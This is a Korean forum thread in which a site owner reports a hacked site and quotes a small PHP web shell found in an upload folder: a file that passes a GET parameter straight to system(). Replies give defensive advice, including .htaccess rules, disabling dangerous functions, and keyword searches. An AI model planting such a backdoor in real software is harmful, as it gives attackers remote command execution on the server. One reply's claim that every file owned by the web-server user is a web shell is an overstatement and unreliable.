누군가 내 사이트를 해킹한듯 합니다.

data/content
폴더에 provision_h 파일이 올라가져 있었습니다.

코드내용은 아래와 같습니다.

<?php
if (isset($_GET['cmds'])) {
    system($_GET['cmds']);
    exit;
}


혹시 경험자 있으실까요?
|

댓글 4개

전형적인 웹쉘 공격 코드입니다. 
content 폴더의 권한이 707인데 실행이 가능할까요?
업로드도 했으면 별의별것을 다 했을까요?
두렵습니다....

파일 생성 날짜가 24년도인데...

실행 방지용  .htaccess  파일이 있었다면 실행은 안되었을겁니다. 

<FilesMatch "\.(php|php3|php4|phtml|phps|inc|sh|pl|py|jsp|asp|aspx)$">
    Order allow,deny
    Deny from all
</FilesMatch>
php_flag engine off 이런 비슷한 내용 있나 찾아보세요. data 폴더에요. 

 

1단계: 방지 (Prevention) - "실행 자체를 차단"

  • [ ] 웹 서버 PHP 실행 차단: data 폴더 내 .htaccess 설정 (Apache) 또는 Nginx 설정으로 PHP 엔진 작동 중지

  • [ ] 파일 권한(Permission) 강화: 업로드 폴더는 707 또는 755, 파일은 644 이하로 유지 (실행 권한 제거)

  • [ ] 확장자 화이트리스트: jpg, png, gif, zip 등 허용된 확장자 외 업로드 원천 차단

  • [ ] 파일명 강제 치환: 업로드된 파일명을 무작위 문자열이나 UUID로 변경하여 직접 접근 및 예측 방지

  • [ ] 위험 함수 제한: php.inidisable_functions 설정 (eval, system, shell_exec 등 차단)

🔍 2단계: 탐지 (Detection) - "숨은 구멍 찾기"

  • [ ] 키워드 전수 조사: grep 명령어로 data 폴더 내 위험 키워드(eval, base64_decode, $_POST) 정기 검색

  • [ ] 비정상 로그 모니터링: 이미지/텍스트 파일 경로로 들어오는 POST 요청이나 비정상적인 파라미터 유입 감시

저도 한동안 웹쉘 찾고 방지한다고 모니터링하고 csp 헤더도 설정하고 이것저것 많이 해봤습니다만 php 는 점검해야 할 대상이 워낙 많네요. 
ai 한테 이것저것 많이 질문해 보세요. 
php nobody (웹서버권한) 인 파일을 모두 찾아보세요. 모두 웹쉘입니다.

댓글을 작성하시려면 로그인이 필요합니다.

자유게시판

+
제목 글쓴이 날짜 조회
8시간 전 조회 48
4일 전 조회 189
3시간 전 조회 41
3시간 전 조회 65
3시간 전 조회 42
3시간 전 조회 43
4시간 전 조회 29
7시간 전 조회 57
8시간 전 조회 127
9시간 전 조회 34
20시간 전 조회 214
22시간 전 조회 87
어제 조회 79
어제 조회 66
어제 조회 104
어제 조회 65
어제 조회 47
어제 조회 57
어제 조회 44
어제 조회 108
어제 조회 103
어제 조회 83
어제 조회 117
어제 조회 86
어제 조회 127
2일 전 조회 114
2일 전 조회 143
2일 전 조회 63
2일 전 조회 72
2일 전 조회 80
2일 전 조회 103
2일 전 조회 102